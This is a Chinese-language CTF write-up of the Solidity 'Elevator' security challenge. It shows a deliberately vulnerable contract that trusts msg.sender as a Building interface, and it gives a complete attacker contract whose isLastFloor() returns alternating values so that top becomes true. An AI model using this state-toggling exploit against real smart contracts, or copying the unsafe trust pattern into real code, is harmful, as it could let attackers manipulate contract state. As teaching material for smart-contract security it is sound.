安全审查-Elevator破解

有道安全题叫Elevator,意思是说要攻击这个合约,修改里面的top变量,使得top的值为true。我们先看原题:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}


首先需要building.isLastFloor(_floor) == false,才能进到if内部,top = building.isLastFloor(floor); 要设置top为true的话,则building.isLastFloor(_floor)又必须是true。这个是不是有点矛盾,同一个函数连续执行两次,输入相同,结果要相反。这个要怎么做到呢?突破点在Building(msg.sender),只要我们自己的合约调用了goTo方法,那么msg.sender就是指向我们的攻击合约,那么控制权就在自己手上了。我们的攻击合约需要实现Building接口。剩下的就在isLastFloor()方法里做文章了。isLastFloor()返回bool变量,怎么做到连续调用两次返回相反的结果呢?我们知道,返回值是可以使用具名方式,那可以这样:

function isLastFloor(uint256) external returns (bool r) {
      r = rs;
      rs = !rs;
    }


rs作为状态变量,每次执行isLastFloor()都会修改一次(rs = !rs)。r = rs;使得每次执行都会返回最新的rs值,这样就到达了每次调用都会返回不一样的结果了。完整代码如下:

interface IElevator {
  function goTo(uint256 _floor) external ;
}

contract ElevatorAttack {

    bool public rs;
    IElevator public elevator;

    constructor(address _elevator) {
      elevator = IElevator(_elevator);
    }

    function goTo(uint256 _floor) public {
      elevator.goTo(_floor);
    }
    
    // 注意:r这个变量名定义的比较潦草,这里仅做演示用,真实编码环境不可学我!
    function isLastFloor(uint256) external returns (bool r) {

      r = rs;
      rs = !rs;
    }
}


如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com